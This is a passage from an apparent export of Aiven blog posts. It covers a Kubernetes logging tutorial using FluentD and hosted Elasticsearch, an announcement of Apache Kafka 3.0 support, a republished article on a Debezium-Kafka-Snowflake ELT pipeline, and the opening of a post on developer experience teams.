0          14d\nkube-system   kube-proxy-bx4gl                   1/1     Running       0          14d\nkube-system   kube-scheduler-minikube            1/1     Running       0          14d\nkube-system   storage-provisioner                1/1     Running       2          14d\n```\nWe will be using a non default namespace so let's create that\nnow:\n```bash\nkubectl create namespace logging\n```\n\n## Add Pods to the cluster\nNow that we have a nice little Kubernetes cluster, let's go ahead and do something with it. We are going to deploy a Pod that generates random logs as well as FluentD to our cluster.\n\n[FluentD](https://docs.fluentd.org/) is a data sourcing, aggregating and forwarding client that has hundreds of [plugins](https://www.fluentd.org/plugins). It supports lots of sources, transformations and outputs. For example, you could capture Apache logs, pass them to a Grok parser, create a Slack message for any log originating in Canada, and output every log to Kafka.\n\nTo generate logs in our cluster, let's create a Pod that generates random logs every so often:\n```bash\nkubectl create deployment -n logging --image=chentex/random-logger:latest logger\n```\n\nWe're going to install FluentD using a pre-built Helm Chart, so before doing that, we have to add the repo and update the dependency. This repo contains the Kubernetes templates that describe all the FluentD components and then tells our chart to update its cache (if there is one) with these new components.\n\n```bash\nhelm repo add bitnami https://charts.bitnami.com/bitnami\nhelm repo update\nhelm dependency update chart\n```\n\nThe last part of the equation gets an external store for our logs. To do this, let's use [Aiven](https://aiven.io/) for Elasticsearch. Go ahead and create a free account; you'll get some free credits to play around with.\n\nThen, create a new project in which to run Elasticsearch:\n\n![kubernetes-1](//cdn.sanity.io/images/sczeoy4w/production/160a945ef8c8ba351ab009b87568a9309b0149ef-268x462.png \"Creating a new project in the Aiven Console\")\n\nClick `Create a new service` and select Elasticsearch.\n\nThen select the cloud provider and region of your choice. In the final step we choose the service plan -- in this case we will use a Hobbyist plan.\n\nIt's a good idea to change the default name to something identifiable at this point, as it cannot be renamed later.\n\n![kubernetes-2](//cdn.sanity.io/images/sczeoy4w/production/6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562.png \"Setting the service name\")\n\nAfter a minute or so your Elasticsearch service will be ready to use. You can view all the connection information in the console by clicking on the service that you created.\n\n![kubernetes-3](//cdn.sanity.io/images/sczeoy4w/production/6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394.png \"Connection information\")\n\nTake note of the Host, Port, User and Password. You'll need these to configure the Helm Chart.\n\nWe are now ready to deploy our Helm Chart:\n```bash\nhelm install -n logging log-demo chart \\\n--set elasticsearch.hosts=\u003cES Host\u003e \\\n--set elasticsearch.user=\u003cES User\u003e \\\n--set elasticsearch.pw=\u003cES Password\u003e\n```\n`\u003cES Host\u003e` should be the concatenation of the host and port we captured from the Aiven Console. In my case it looks like this:\n`https://something-unique-sa-demo.aivencloud.com:24947`.\n(Note that the values set here are only a subset of the configurations for FluentD; for the full set, see the\n[chart definition](https://github.com/bitnami/charts/tree/master/bitnami/fluentd/#installing-the-chart))\n\nYou can check that things are building correctly by investigating the Pods in the `logging` namespace\n\n```bash\nkubectl -n logging get pods\n```\n\nYou should see something like\n```bash\nNAME                      READY   STATUS    RESTARTS   AGE\nlog-demo-fluentd-0        1/1     Running   0          7m32s\nlog-demo-fluentd-wj56t    1/1     Running   0          7m32s\nlogger-56db6f88d9-h8r8d   1/1     Running   0          7m8s\n```\n\nIf all the Pods aren't ready yet, just give it a few seconds and check again, they should become ready shortly.\n\n## View and search the log entries\nThe [configuration](https://github.com/aiven/k8s-logging-demo/blob/main/chart/templates/fluentd-configmap.yaml) that has been deployed captures all logs from every Node (it can be configured not to do this) and so if we head over to OpenSearch dashboards we should see that happening. Aiven automatically deploys OpenSearch dashboards alongside Elasticsearch and the connection info can also be found in the console.\n\n![kubernetes-4](//cdn.sanity.io/images/sczeoy4w/production/da49fff76d4ee584cf51f494d577fad7ae27d841-849x366.png \"Kibana connection info\")\n\nOnce logged into OpenSearch dashboards, go to the dev tools.\n\n![kubernetes-5](//cdn.sanity.io/images/sczeoy4w/production/f49ee1611dab4c131034abaaf00ee33c43adef50-339x675.png \"Kibana dev tools\")\n\nIssue the following query, which looks for any log that originated from the `kube-system` namespace:\n```text\nGET /_search\n{\n  \"query\": {\n    \"term\": {\n      \"kubernetes.namespace_name.keyword\": {\n        \"value\": \"kube-system\"\n      }\n    }\n  }\n}\n```\nThe results should look something like:\n```json\n{\n        \"_index\" : \"minikube-2021.05.27\",\n        \"_type\" : \"_doc\",\n        \"_id\" : \"6dXGrnkBn7BUvoFdGaNm\",\n        \"_score\" : 0.0020360171,\n        \"_source\" : {\n          \"log\" : \"\"\"I0527 17:01:23.041467       1 client.go:360] parsed scheme: \"passthrough\" \"\"\",\n          \"stream\" : \"stderr\",\n          \"docker\" : {\n            \"container_id\" : \"b8a38739fc4a2694995837f2dfe773e011432b73f641b02eb54a7622ba3baffc\"\n          },\n          \"kubernetes\" : {\n            \"container_name\" : \"kube-apiserver\",\n            \"namespace_name\" : \"kube-system\",\n            \"Pod_name\" : \"kube-apiserver-minikube\",\n            \"container_image\" : \"k8s.gcr.io/kube-apiserver:v1.20.2\",\n            \"container_image_id\" : \"docker-pullable://k8s.gcr.io/kube-apiserver@sha256:465ba895d578fbc1c6e299e45689381fd01c54400beba9e8f1d7456077411411\",\n            \"Pod_id\" : \"d825fef1-15d4-4202-818a-5deef0a30666\",\n            \"host\" : \"minikube\",\n            \"labels\" : {\n              \"component\" : \"kube-apiserver\",\n              \"tier\" : \"control-plane\"\n            },\n            \"master_url\" : \"https://10.96.0.1:443/api\",\n            \"namespace_id\" : \"9925f802-c2c1-44a0-9a71-534d16a609af\"\n          },\n          \"@timestamp\" : \"2021-05-27T17:01:23.041773900+00:00\",\n          \"tag\" : \"kubernetes.var.log.containers.kube-apiserver-minikube_kube-system_kube-apiserver-b8a38739fc4a2694995837f2dfe773e011432b73f641b02eb54a7622ba3baffc.log\"\n        }\n      }\n```\nThe log documents provide the log message, the namespace from which the log originated, the timestamp when the log originated, as well as several other identifying pieces of information.\n\nGoing back to OpenSearch dashboards, let's issue another request and see if we can find the logs from our logging Pod:\n```text\nGET /_search\n{\n  \"query\": {\n    \"match\": {\n      \"log\": {\n        \"query\": \"exception\"\n      }\n    }\n  }\n}\n```\nMost likely there will be several results, but the first one should be the log related to the logger Pod's random error logs.\n\n## Updates and clean up\nIf at any point you want to make changes to any of the deployments, e.g. change the FluentD configuration, add an endpoint to the existing service or add a whole new service:\n\n```bash\nhelm upgrade -n logging log-demo \u003cother parameters set during install\u003e\n```\nYou may need to redeploy Pods for changes to take effect.\n\nTo tear down the installation:\n```bash\nhelm delete -n logging log-demo\nkubectl delete -n logging deployment/logger\n```\n\n## Wrapping up\n\nThis guide started from nothing and created a Kubernetes application with a logging layer.\n\nThe code and steps here could easily be expanded upon to use a different Kubernetes provider such as [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine) (GKE) or [Elastic Kubernetes Service](https://aws.amazon.com/eks/) (EKS) and the Helm configuration could easily be expanded to include other use cases such as sending data to Kafka or capturing metrics as well.\n\nRegardless of where the data comes form or where it goes or what kind it is, the Aiven platform has the tools and services to assist you on your journey.\n\n## Further reading\n[External Elasticsearch Logging](https://aiven.io/blog/external-elasticsearch-logging-output-now-supported-by-aiven)\n\n[Kubernetes Logging Architecture](https://kubernetes.io/docs/concepts/cluster-administration/logging/)\n\n[Kubernetes Logging with ELK Stack](https://logz.io/blog/deploying-the-elk-stack-on-kubernetes-with-helm/#:~:text=ELK%20integrates%20natively%20with%20Kubernetes,deploying%20and%20managing%20the%20former.)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844-png","_type":"reference"}},"publishedAt":"2021-07-19T00:00:00.000Z","seo":{"metaDescription":"With a container orchestrator like Kubernetes, log files are never in short supply. Find out how to make the most of that flood of data.","metaImage":{"alt":"","asset":{"_ref":"image-98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844-png","_type":"reference"}},"metaTitle":"Navigating your Kubernetes logs with Aiven"},"slug":{"_type":"slug","current":"/blog/navigating-your-kubernetes-logs-with-aiven"},"subtitle":"With a container orchestrator like Kubernetes, log files are never in short supply. Find out how to make the most of that flood of data.","title":"Navigating your Kubernetes logs with Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6gjXGffLH374r0DoPMsS7O","_rev":"LlMsTfwmVHcho3tE13OGzz","_type":"post","_updatedAt":"2023-06-14T10:12:00Z","authors":[],"body":"It's been a long two months, but Aiven has now implemented support for [Apache Kafka](https://aiven.io/kafka) version 3.0. \n\nAs this is a new major version, it comes with a number of enhancements across the board, as well as with some deprecations and API changes.\n## What's new\n### Group multiple consumer group offset requests\n__[KIP-709: Extend OffsetFetch requests to accept multiple group ids](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=173084258)__\n\nOffsetFetch API allows grouping multiple consumer group offset requests into a single fetch. This reduces request overhead and simplifies client code.\n\n### Strongest delivery guarantee by default \n__[KIP-679: Producer will enable strongest delivery guarantee by default]__(https://cwiki.apache.org/confluence/display/KAFKA/KIP-679%3A+Producer+will+enable+the+strongest+delivery+guarantee+by+default)\n\nProducer config defaults are modified to make record delivery guarantees stronger by default. This ensures ordering, avoids duplicates and increases durability.  As the modification could cause compatibility issues for some users, it is advised you go through the migration plan outlined in KIP-679.\n### Identify the liveliness of a topic/partition\n__[KIP-734: Improve AdminClient.listOffsets to return timestamp and offset for the record with the largest timestamp](https://cwiki.apache.org/confluence/display/KAFKA/KIP-734%3A+Improve+AdminClient.listOffsets+to+return+timestamp+and+offset+for+the+record+with+the+largest+timestamp)__\n\nAdminClient.listOffsets API is extended with the capability to return the offset and timestamp of the record with the highest timestamp in a topic/partition. This allows easy identification if a topic/ partition  is alive - being written to - or the health of it.\n### More granular restarting of connectors\n__[KIP-745: Connect API to restart connector and tasks](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=181308623)__\n\nConnect API is enhanced with added granularity to support restarting of only the failed connector and its tasks with a single call.\n### Karapace schema registry for Aiven for Apache Kafka 3.0\nThe open-source version of Confluent Schema Registry is no longer supported in Apache Kafka 3.0. As a replacement, Aiven provides a lightweight, fast and truly open source tool, Karapace. More information on migrating to Karapace is provided in the Help article [End of support for Confluent Schema Registry on Aiven](https://help.aiven.io/en/articles/5651983 \"End of support for Confluent Schema Registry on Aiven | Aiven Help article\").\n## Deprecations\nThe following functionalities are deprecated in Apache Kafka 3.0:\n\n- MirrorMaker v1 is deprecated and will no longer be supported in Apache Kafka v4.0\n- Java 8 and Scala 2.12 programming language versions are deprecated and will be removed in v4.0.\n- Message formats v0 and v1 are deprecated and will be removed in Apache Kafka 4.0. Start upgrading your client applications to get the best performance.\n- IDEMPOTENT_WRITE is deprecated and will be removed in a future release. Update your application to use WRITE instead.\n\n## How to get started with Aiven for Apache Kafka 3.0\nYou can either launch a brand new cluster in the [Aiven Console](https://console.aiven.io) or conduct a no-downtime upgrade to the latest version.\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-25T00:00:00.000Z","seo":{"metaDescription":"Apache Kafka® version 3.0 was announced on September 21, 2021, and Aiven already supports it. Find out about the enhancements across the board.","metaImage":{"alt":"","asset":{"_ref":"image-4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 3.0"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-3-0"},"subtitle":"Apache Kafka® version 3.0 was announced on September 21, 2021, and Aiven already supports it. Find out about the enhancements across the board.","title":"Aiven supports Apache Kafka® 3.0"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"58fYvZEJfkoHqnImOIVibD","_rev":"LlMsTfwmVHcho3tE14Lphb","_type":"post","_updatedAt":"2023-06-14T11:53:47Z","authors":[],"body":"From the outside looking in, trucking may seem like a fairly well-organized industry, but the reality is somewhere closer to organized chaos. From the dreaded [D.O.T week](https://www.axlelogistics.com/blog-dot-week/), where capacity drops as truck drivers stay home to avoid inspections, to hurricanes that halt transit for an entire portion of the country, the freight market can change at the drop of a hat. \n\nOn an individual shipment level, there’s even more uncertainty — accidents, facility closures, damaged cargo, among many other things. The number of things that can go wrong in the lifecycle of a shipment is astounding. One element that’s helped Convoy thrive in spite of this chaos is our investment in building a robust and accessible data warehouse. \n\nAll of the data from our rapidly growing number of services is continuously piped into our data warehouse, where it’s made available for all employees to use. Everyone at the company is encouraged to learn SQL so they can build the queries and dashboards they need to do their jobs effectively. \n\nFor example, account managers can build dashboards to answer unique questions our customers might have about their freight, and our operations team can make data-driven decisions about improvements to their workflows, which improves our quality of service to customers. \n\nYou hear the term “data democratization” tossed around frequently, and Convoy is the closest I’ve seen a company get in practice. There’s no doubt access to comprehensive and fresh data has been a key factor in Convoy’s ability to scale successfully.\n\n## Stretching the Limits of Our ELT System\nUnfortunately, as Convoy has grown to 700+ employees over the past year, the one thing in this picture that wasn’t scaling well was our ELT system. ELT, which stands for Extract Load Transform, is the process of extracting data from our various production services, and importing it into our data warehouse. \n\nPreviously we had relied on a third party service to handle this work for us, but our import latency increased as we continued to scale. Data that used to take 10–15 minutes to import now frequently took 1–2 hours, and for some of the larger datasets you could expect latencies of 6+ hours. As you can imagine, knowing where a truck was 2 hours ago when it’s due at a facility now isn’t very useful. \n\nSeveral teams had already started building workarounds to pull real-time data from our production systems with varying degrees of success, and it became increasingly clear that access to low latency data was critical. At this point, we realized we had two options:\n\n1. Change the scope of the data warehouse to only support offline analysis, and have product teams build the dashboards the company needs hooked directly up to our production services\n\n2. Build a new, low latency, ELT pipeline\n\nBoth options required work from the engineering team, but the second option would allow us to continue to use our data warehouse as the central source of data for the company. In order for this project to really be considered a success, we set an aggressive latency goal of just 5 minutes from the time a transaction was committed in one of our databases to the time it was available to query in the data warehouse. \n\nAfter speaking with teams across the company, we settled on 5 minutes as an achievable compromise to true real time data. In addition, we wanted to ensure we never lost data in transit. Zero data-loss was an important feature of our previous solution, and is critical to building and maintaining trust in our data warehouse.\n\nEarlier this year we went live with our new ELT pipeline, and have been very happy with the results. Given how much we relied on the open source community to complete this project, I wanted to give back by sharing our experience building this system. In the first part of this post I’ll cover how the system works: the design, the open source components we use, and how they all fit together. After that, I’ll dig into why the system works, or specifically, the core concepts that allow us to achieve sub 5 minute latency with guaranteed at least once delivery.\n\n## Design\n\nAt a high level, the flow of data through the system is pretty straightforward, but like most things, the devil is in the details. The pipeline starts with a change in a Postgres database, and ends in our data warehouse (Snowflake) with data ready to be consumed by anyone in the company. In between, the events flow through Apache Kafka, land in a hidden schema in Snowflake, and are cleaned up before being pushed to a public schema.\n\nTo summarize the last few paragraphs, here’s the list of requirements that drove the design:\n\n- Low Latency\n- Zero Data Loss\n- Low Maintenance\n\nI ended up learning a lot of new things about systems that I’ve been using for several years as our team worked our way through the design, initial prototype, and final implementation. Several of the topics probably deserve a post of their own, but I tried my best to condense the important points about each component to give you an idea of how they all fit together.\n\n![convoy elt pipeline diagram](//cdn.sanity.io/images/sczeoy4w/production/8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335.png)\n\n__Debezium Source Connector:__ The most complicated part of this system is figuring out how to efficiently monitor for changes to rows in Postgres, and produce an event for each change (a process known as Change Data Capture). Fortunately for us, there’s an amazing open source project dedicated to doing exactly that — the [Debezium Project](https://debezium.io/ \"debezium project homepage link\"). Specifically, we use the [Debezium Postgres Source Connector](https://debezium.io/documentation/reference/1.8/connectors/postgresql.html \"debezium postgres source connector page link\"), though they also support several other common databases like MySQL and MongoDB.\n\nThe Postgres connector uses a concept called logical decoding to consume the Postgres write ahead log (WAL, sometimes also called the transaction log), and produce events for every change to a row. The records produced by the connector are a bit verbose, so we use a Single Message Transform to flatten the event to just the new values in the row. \n\nWe also needed a way to ensure proper ordering of events once they made it into our data warehouse, so I added [a feature](https://github.com/debezium/debezium/pull/968 \"debezium pull request number 968 link\") to the connector that allows us to plumb the Postgres log sequence number (LSN) through with the event. The log sequence number is just the offset in the Postgres write ahead log, which I’ll touch on in the next section.\n\nI wanted to call out one thing that has the potential to cause a real problem if you’re not careful: Postgres’ logical decoding provides an efficient way to stream changes in your database to external consumers, but it doesn’t come without its faults. Most notably, Postgres will not delete any part of the write ahead log until the data has been consumed by all existing logical replication slots. In other words — if your consumer (in this case the Debezium connector) stops consuming for any reason, Postgres will happily keep appending to the write ahead log until its disk is completely full, and the database is unresponsive.\n\n\u003e Using logical decoding requires sufficient disk space to buffer against temporary outages, and good monitoring to alert you early on to any problems.\n\n__wal2json_:__ When you create a logical decoding slot in Postgres, you need to specify an output plugin for the slot to use. Logical decoding output plugins are responsible for decoding and converting the contents of the write ahead log into a format you’re able to consume. We use a well known plugin called [wal2json](https://github.com/eulerto/wal2json \"wal2json github repository link\"), which comes preinstalled on AWS RDS Postgres instances, but there is also a [plugin for Protobuf](https://github.com/debezium/postgres-decoderbufs \"devezium protobuf page link\") maintained by the Debezium community.\n\nBecause these events are only being used for ELT purposes, I decided to forgo schemas and the schema registry, and stick with schema-less JSON blobs. The upside of this approach goes back to the low maintenance trait I mentioned at the start, as it pushes the schema management problem out of this system, and into the models/views in our data warehouse.\n\n__Apache Kafka:__ At the center of our new ELT system is a Kafka cluster with one topic per Postgres table we’re replicating. This cluster is dedicated solely to ELT events, because unlike other clusters, we have auto topic creation enabled to reduce maintenance cost of the system. At the rate we’re growing, I wanted to avoid any manual steps past the initial setup for a database. \n\nWith auto topic creation enabled, when a new table is created in one of our Postgres instances, the data for that table flows all the way into our data warehouse without any intervention. We use an agent task to periodically police the topics in the cluster, and automatically make adjustments to retention policies (at least until [KIP-158](https://cwiki.apache.org/confluence/display/KAFKA/KIP-158:+Kafka+Connect+should+allow+source+connectors+to+set+topic-specific+settings+for+new+topics \"kafka kip 158 link\") is implemented).\n\n__Kafka Connect:__ Connect is an open source framework used to integrate Kafka with other existing systems (databases, filesystems, etc) using pre-built components called connectors. Connectors can either move data from an external system into Kafka (a Source connector), or move data from Kafka into an external system (a Sink connector). \n\nWe run a Kafka Connect cluster in AWS Elastic Container Service to move data from our databases into Kafka, and from Kafka into Snowflake. Kafka and Kafka Connect have a vibrant community, so there’s a good chance a connector already exists for the systems you use.\n\n__Snowflake Sink Connector:__ Unfortunately, when we first started building this system a connector for Snowflake didn’t exist. What we’re actually doing right now is using a S3 Sink Connector to write the data to S3, then auto-ingesting the data into Snowflake with Snowpipes. The data gets appended into tables in our ‘landing zone’ schema, where each table just has a single VARIANT column containing the JSON blob representing the row.\n\nHowever, a couple months ago at their 2019 Summit Snowflake announced an open source [Snowflake Connector](https://docs.snowflake.net/manuals/user-guide/kafka-connector.html \"snowflake connector page link\"), which works by pushing data to an internal Snowflake stage, and then calling the Snowpipe rest API to ingest the data. This approach has the benefit of not relying on S3’s event notifications to trigger files to be loaded, which isn’t 100% reliable. The connector is currently in preview, but once the bugs are worked out and it hits general availability we’re planning to start using it instead.\n\n__Snowflake Streams \u0026 Tasks:__ At this point, the data has made its way into a hidden ‘Landing Zone’ schema in Snowflake, and it’s only been a couple of minutes. Before we expose it to the rest of the company, we need to do some basic data cleansing (stuff like filtering test data, converting types, etc). At the time, we were using a combination of Apache Airflow + dbt to transform our data into useful datasets, which worked well, but isn’t really suited for low latency processing.\n\nFortunately for us, Snowflake recently announced a new set of features aimed at continuously transforming data called Table Streams and Tasks. A table stream, usually just referred to as a stream, is an object used to track changes to a table made by data manipulation language (DML). Under the hood, the stream keeps track of all inserts/updates/deletes in the table since the last time the stream was consumed. \n\nThis metadata makes it easy for consumers to process only updates to a table each time they run, without having to keep track of any additional information themselves. The consumer of a stream can be any DML statement, but streams are most frequently used with the new Tasks feature. Tasks are just a lightweight way of executing a small SQL statement on a schedule, though they can also be chained together to form more complex pipelines.\n\nInstead of running hourly batch jobs in Airflow that each process tens or hundreds of thousands of rows, using tasks we’re now able to schedule over 5000 micro-batch jobs an hour that only process a handful of new rows each time they execute. Each job usually executes in 5–10 seconds, and we end up being able to skip a lot of job executions for tables that haven’t had any updates.The end result is fresh, clean data ready to be queried by the rest of the company.\n\n![convoy inc office photograph](//cdn.sanity.io/images/sczeoy4w/production/0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400.jpg)\n\n## Logs \u0026 Offsets\nThe above section describes how the system works, but doesn’t really explain why it works. Better put — given the complexity, how can we guarantee that all of the data flowing through the system will make it to its final destination, and some won’t get lost along the way? \n\nDespite our old ELT system being a bit slow, in all the years it ran I don’t think we ever had a case of missing data. Everyone in the company trusted that the data it produced was correct, and whatever we built to replace it needed to live up to the same standard. In this section I’m going to touch on two core concepts that allow us to achieve 5 minute latency with guaranteed at least once delivery: the log, and processing with offsets.\n\nJay Kreps [defines a log](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying \"original source link\") as “perhaps the simplest possible storage abstraction. It is an append-only, totally-ordered sequence of records ordered by time”. The most important aspect of the log is its simplicity, especially compared to something like a relational database, or document store. Writing to and reading from a log is a cheap operation, and is what allows us to achieve such low latency even when streaming every change to every row in our production databases. In fact, Kafka is able to easily handle millions of reads/writes a second on relatively modest hardware.\n\nThe second core concept we need, offsets, comes from the totally ordered and append-only attributes of a log, which allows us to identify any record in the log simply by its position. Offsets allow consumers to maintain their positions in the log while processing, and only advance their offset, commonly referred to as committing, when they’ve successfully processed a record. This “offset and commit” processing pattern is what gets us our guarantee of at least once delivery — if a consumer crashes before successfully processing a record, it will simply pick up where it left off the next time it runs. \n\nNote however, it is possible for a consumer to process a record, but fail before committing the new offset, which is why we’re guaranteed at least once delivery, and not exactly once delivery. Because we run the risk of pushing duplicate events into our data warehouse, we make sure to de-dupe the data before exposing it to our consumers.\n\n![kafka-log-offset-diagram](//cdn.sanity.io/images/sczeoy4w/production/ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652.png)\n\nBoth of these simple but powerful concepts can be found in each step of the new pipeline we built: as the record for an update travels from Postgres to Kafka to Snowflake, it’s appended to a log at each stop. In conjunction, every consumer maintains an offset in the upstream log as it reads records, and commits a new offset only after it has successfully appended the record to the downstream log. Here’s a quick breakdown of the logs and offsets that make up our new ELT pipeline:\n\n__Postgres and Debezium Connector__\n\n*The Log*: The Postgres write ahead log (WAL)\n\nAlso referred to as the transaction log, is a log of changes committed to the database. Internally Postgres uses the WAL to ensure data integrity by only changing data files (tables/indexes) after those changes have been logged. In the event of a crash while updating data files, Postgres is able to recover the database using the log. The WAL can also be consumed by external systems through a process called logical decoding which I discussed in the previous section.\n\n_The Offset_: The Postgres LSN (log sequence number)\n\nThe LSN is the byte offset into the Postgres write ahead log. When you create a logical decoding slot, Postgres maintains a variable called confirmed_flush_lsn, which is the latest LSN that its consumer has confirmed it has processed. In our case, the Debezium connector periodically calls PGReplicationStream.setFlushLsn(LogSequenceNumber) to commit its processed offset, but only after it has successfully written the data to Kafka.\n\n__Kafka__\n\n*The Log:* Kafka Topics\n\nLogs and offsets are the building blocks of Kafka, and in this case the log is just a Kafka topic. For a good intro, checkout the ‘Kafka in 30 seconds’ section of [Kreps’ Kafka Benchmark](https://engineering.linkedin.com/kafka/benchmarking-apache-kafka-2-million-writes-second-three-cheap-machines \"original source link\").\n\n*The Offset*: As of release 0.9 Kafka has a clever mechanism for allowing its consumers to track and commit their offsets — it uses Kafka!\n\nInternally Kafka maintains a topic called `__consumer_offsets` which consumers periodically commit their progress to. If the consumer fails, it just requests its last committed offset, and resumes processing where it left off. The frequency at which consumers commit back their offset is configurable, and is a tradeoff between increased overhead for shorter intervals and potentially re-processing more records if the consumer fails for longer intervals.\n\n__Streams \u0026 Tasks__\n\n*The Log*: Our ‘landing zone’ tables\n\nThis is arguably the loosest interpretation of a log as the only thing enforcing the append only property is convention and database permissions. That being said — each table in our landing zone schema has the records read from Kafka appended to it by a Snowpipe. We prevent any inserts/updates/deletes (other than a Snowpipe appending records to the table), which gives us the append only, totally ordered properties of a log.\n\n*The Offset*: Table Streams\n\nAs I mentioned above, Snowflakes new Table Streams feature offers a way to track changes to a table over time. To accomplish this, the Stream maintains a point in time (which they even refer to as an offset in their documentation) as the current transactional version of a table. The offset for a stream is only updated when the contents of the stream are consumed in a successful DML transaction, which means unlike the rest of the pipeline we’re able to guarantee exactly once delivery here. Either the transaction that reads from the stream, inserts/updates/deletes in a new table, and updates the offset succeeds, or it’s rolled back and nothing is changed.\n\n## The Result\nAfter several months of prototyping and development, we were able to deliver on our goal of a low latency ELT pipeline. I hope this post has illustrated how a relatively complex system can be broken down into a few simple core concepts, a process I had to re-learn as we worked our way through this project. The impact of this project is best summed up by the below graph of data warehouse latency after we transitioned from hourly batch processing to our new ELT pipeline.\n\n![convoy inc time delay of data warehouse src table](//cdn.sanity.io/images/sczeoy4w/production/fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396.png)\n\n*Originally published on Convoy Inc's blog and republished here with author's permission. You can read the original article [here](https://medium.com/convoy-tech/logs-offsets-near-real-time-elt-with-apache-kafka-snowflake-473da1e4d776 \"logs \u0026 offsets: (near) real time elt with apache kafka + snowflake\")*.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With Apache Kafka® and Snowflake, Convoy has been able to deliver on their goal of a low latency ELT pipeline. Read more about the project in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844-png","_type":"reference"}},"metaTitle":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake"},"slug":{"_type":"slug","current":"/blog/near-real-time-elt-with-apache-kafka-and-snowflake"},"subtitle":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake","title":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2Iw3pDfUWZ9FvJrhm2OhYT","_rev":"j5OhKGUVbND2aFEj9l9veE","_type":"post","_updatedAt":"2023-06-22T14:04:00Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Developer Experience is the latest buzzword in software development. It’s used as a catch-all term, with meanings from a wide-ranging approach to center developers in an application’s lifecyle, to a narrowly-defined description of the mission of a single team. The latter end of the spectrum is what this article addresses: Developer Experience teams, and the added value they bring to a company.\n\nLike [CloudOps teams](https://aiven.io/blog/cloudops-the-everyday-heroes \"CloudOps - the everyday heroes| Aiven blog\") but on a larger scale, DEX teams make sure that developers can focus on development work. Their mission is to shift the burden of dealing with tool issues away from product development teams onto the shoulders of dedicated personnel. \n\n\u003e With more efficient development teams, businesses might be opening the door to an annual benefit of $1.7 million ([IDC study](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi)).\n\nOn the level of the individual employees, it makes perfect sense. Your highly-valued developers can focus on their strengths, which makes them happier and more productive.\n\nIt also makes sense on the company level. Having a DEX team ensures that the product development budget is actually spent on development tasks: creating new features, refactoring product code, what have you. Then you can have a separate, more easily manageable and trackable budget for selecting, vetting and managing all the tools and technologies, sometimes also the processes and best practices, that developers use in their daily work. That sounds nice, too.\n\nBut is it really worth all the hype? And how did we even come here?\n## All hands on DEX\nThe past ten years have seen a number of changes that all seem to feed into each other: a shift away from monolith to modular, from waterfall to agile, from in-house to service, from on-premises to cloud… The pace of product development increases and the release cycle intensifies. \n\nCompanies are trading Big Infra for Agile Service.\n\nAgainst this background, the requirement to focus on core goals is not just understandable. It’s essential. No one has the time to spend on extraneous fluff, so we trim it all off by using outside services: software, platforms, and of course databases and data pipelines. \n\nBut utilising the ‘as-a-service industry’ generates other flavors of fluff. Not only is there the burden of setting up and managing the technical infrastructure. It also means negotiating and managing subscriptions, maintaining information security, and meeting legal requirements. No doubt there is also a myriad of other tasks that don’t neatly fit under the main headings.\n\nIt’s for dealing with all of this that companies are increasingly setting up developer experience teams.\n## A good DEX is a force multiplier\nAiven works with DEX teams all the time. Aiven’s DBaaS services are an integral part of our customers’ cloud stack, and Aiven aims to provide the best developer experience in the business. That’s why Aiven has a ringside view of the benefits that a good DEX can bring.\n### Boosting business with DEX\nYour business can’t take you leaving your devs out in the cold. For most companies today, developer teams are what brings the bread and butter to the company table (not alone, 